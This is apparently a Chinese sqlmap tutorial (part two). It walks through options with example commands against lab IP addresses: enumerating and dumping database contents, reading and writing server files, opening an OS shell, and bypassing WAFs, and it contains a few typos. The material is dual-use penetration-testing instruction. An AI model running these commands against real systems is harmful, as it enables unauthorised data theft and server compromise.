sqlmap的介绍和使用二
十四、sqlmap 列举数据库名 --dbs
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example6/?group=username" --dbs
sqlmap 枚举数据库表
--tables枚举表名 -->指定具体数据库 -D 数据库名(security)
--exclude-sysdbs(排除系统数据库)
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example6/?group=username" --tables
(2) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example6/?group=username" -D security --tables
(3)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example6/?group=username" --tables --exclude-sysdbs
sqlmap 枚举数据表列
--columns -D 指定数据库 -T指定数据表 -C 指定具体字段
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example6/?group=username" --columns
(2)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example6/?group=username" -D sqlinjection -T users --columns
(3)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example6/?group=username" -D sqlinjection -T users --columns -C
sqlmap 枚举数据值
(1) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example6/?group=username" -D sqlinjection -T users -C "custom" --dump
十五、sqlmap枚举schema信息--schema,列表将包含所有数据库、表和列,以及他们的类型
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --schema --exclude-sysdbs
sqlmap检索数据表数量 --count-D(库名)
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --count -D test
sqlmap获取数据信息
--start,--start,--first,--last
--start 1 --stop 3 获取第二到第三表的名字
--stop 1 获取第一张表的名字
--first 3 --last 5 获取从第三到第五个字符
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -D sqlinjection --start 1 --stop 3
(2)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -D sqlinjection --tables --start 1 --stop 3
sqlmap设置条件获取信息 --pivot-column=id 设置独当一无二的列
--where=“id>3”设置条件
--T (表名)
(1)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -T users --pivot-column id --columns
(2)python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -D sqlinjection -T users --where="id>2"
(3) python sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -D sqlinjection -T users -C "username" --where="id>2"
sqlmap 枚举数据值 --dump
(1) python sqlmap.py -u "http://192.168.186.128/sqli/example1.php?name=root" -D sqlinjection -T users -C "username" --dump
十六、 sqlmap暴力破解数据
使用场景mysql<5.0时,mysql中没有元数据库information_schema
--common-tables
--common-columns
十七、sqlmap读取文件
--file-read 路径 读取对应文件内容,注意:此处的路径为绝对路径
(1) sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" --file-read="F:\\flag.txt"
--file-write 读取本地文件
--file-dest 将读取的文件写入到远程绝对路径
(1) sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" --file-write="F:\\flag.txt" --file-dest="F:\\flag.txt"
sqlamap检索所有信息 -a 或 --all
(1)sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" -a
十八、 sqlmap执行系统命令--os-shell
(1)sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" --os-shell
十九、sqlmap设置盲注字符集
--charset=
在基于布尔和基于时间的sql盲注中,用户可以强制使用自定义字符集来加速数据检索过程
(1)sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" --charset=GBK -D test - T users -C "username" --dump
sqlmap爬取url
sqlmap可以通过从目标位置开始收集链接(爬行)来收集潜在的脆弱链接,使用此选项,用户可以设置一个深度,递归执行这个爬行过程,如果低于设置的深度,
sqlmap不会进入收集阶段
--crawl
--crawl-exclude 字符串,存在字符串的url不进行爬取
(1)python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --batch--crawl=3
sqlmap在csv输出中使用的分隔字符
当被转储的数据存储到csv格式(--dump-format=CSV)时,条目必须用"分离值"分隔(默认值是,),如果用户想要覆盖它的默认值,他可以使用这个选项(例如--csv-del=";")
(1)python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --csv-del=";" --batch -v3 -D sqlinjection -T users -C username --dump --thread 10
sqlmap设置输出格式
当将存储表数据存储到输出目录中的相应文件中时,sqlmap支持三种不同的格式:CSV、HTML、SQLITE
(1)python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" -v3 --batch -D sqlinjection -T users -C username --dump --dump-format="HTML" --thread 10
二十、sqlmap探测之前检测internet连接,检测当前计算机Internet连接是否正常,确保探测失败不是因为网络拦截问题
--check-internet
(1) python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --check-internet
sqlmap解析和测试表单的输入字段
--form
(1)python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --form -v 3 --thread 5
sqlmap设置预计完成时间
实时计算和显示估计的到达时间,检索每个查询输出,检索输出的技术是任何sql盲注类型时,就会显示这一点 注意:eta 和 -v 不兼容
(1)python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --form --thread 10 --batch -D test -T users -C "user" --dump --eta --technique T
sqlmap刷新会话文件
由于会话文件的概念,所以最好知道您可以使用选项flush-session刷新文件的内容,通过这种方式,您可以避免sqlmap中默认实现的缓存机制.其他可能的方法是手动删除会话文件
(1)python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" -D test -T users -C "usernames" --dump --eta --flush-session
sqlmap忽略会话中存储的结果
使用选项--fresh-queries来忽略该文件的内容.通过这种方式,可以保持会话文件不变,对于所选的运行,避免恢复/恢复查询输出
(1) python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --dbs --fresh-queries
sqlmap使用Hex函数检索数据
非ascii数据的检索需要特殊的需求.解决这个问题的一个方法是使用DBMS hex函数.数据在被检索之前被编码为十六进制形式,然后被编码为原始形式
--hex
(1) python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --hex -v 3 --batch
sqlmap设置自定义输出路径
sqlamp默认讲会话和结果文件存储在子目录输出中。如果您想在不同的位置,可以使用这个选项(例如--out-dir=/tmp)
(1) python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --hex --dump --batch -v 3 --output-dir="///"
sqlmap从响应页面解析错误
如果web应用程序配置为调试模式, 以便在响应中显示后端数据库管理系统错误消息,sqlmap可以解析并显示他们.这对于调试很有用,
比如理解为什么某个枚举或接管开关不起作用----这可能与会话用户的特权有关
--parse-error
保存sqlmap配置文件 --save
可以将命令行选项保存到配置ini文件中,然后可以使用之前解释的-c选项 编辑生成的文件并将其传递给sqlmap
更新sqlmap --update
(1)python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" -D test -T users -C “users”--dump --hex -v3 --batch --parse-errors --flush-session
二十 一、sqlmap强制设置DBMS编码
--encoding="gbk"
(1) python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --encoding="gbk"
sqlmap存储http流量到HAR
--har="HARFILE"
HAR(HTTP Archive),是一个用来存储HTTP请求/响应信息的通用文件格式,基于JSON
(1) python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --dbs --har="test_192.168.1.100.har"
sqlmap筛选具体playload
--test-filter=“ROW”
(1) python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --dbs --test-filter="ROW" --flush-session -v 3
sqlmap过滤具体playload
--test-skip=“BENCHMARK”
(1) python sqlmap.py -u "http://192.168.186.128/sqli/example4.php?id=2" --dbs --test-skip="BENCHMARK" --flush-session -v 3
sqlmap过滤具体playload
针对proxy日志文件使用正则表达式删选目标
--scope="regex"
二十二、sqlmap 杂项参数缩写
例如: -z flu:--flush-session
--bat:batch
--ban: banner
--tec=EC:technique=EU ERROR UNION
(1) sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" -z ban,bat
--alert 当发现sql注入时,运行主机系统命令
(1)"http://192.168.186.128/sqli/example4.php?id=2" --technique U --alert="ifconfig" --flush-session
--beep 当发现sql注入时,发出BB声音
(1) sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" --beep
--cleanup 清除DBMS udf创建的数据表
--dependencies 查看依赖项
(1)sqlmap --dependencies
sqlmap 不进行高亮显示
--disable-coloring 不进行高亮显示
(1)sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" --disable-coloring
查看是否有WAF保护
--identify-waf
(1)sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" --identify-waf
--mobile 使用手机端User-Agent
(1) sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" -v 3 --mobile
--offline 仅适用session文件,不进行联网探测
--purge-output 清除output目录下的文件
(1) sqlmap --purge-output
--skip-waf忽略waf、ips
(1) sqlmap -u "http://192.168.186.128/sqli/example4.php?id=2" --skip-waf
--sqlmap-shell 使用sqlmap shell
(1) sqlmap --sqlmap-shell
--tmp-dir=TMPDIR 指定本地目录用来存储临时文件
--web--root=WEBROOT指定站点根目录
--wizard 使用向导式的sqlmap
(1) sqlmap --wizard
--answer=ANSEWERS 设置问题答案 例如“quit=N,follow=N”
--gpage=GOOLEPAGE 设置Google Dork的页码数
--smart 智能探测
有些情况下,用户有大量的潜在目标url(例如,提供了选项-m),希望尽快找到一个脆弱的目标。
如果使用--smart,将在扫描中进一步使用数据库管理系统错误的参数,否则跳过他们。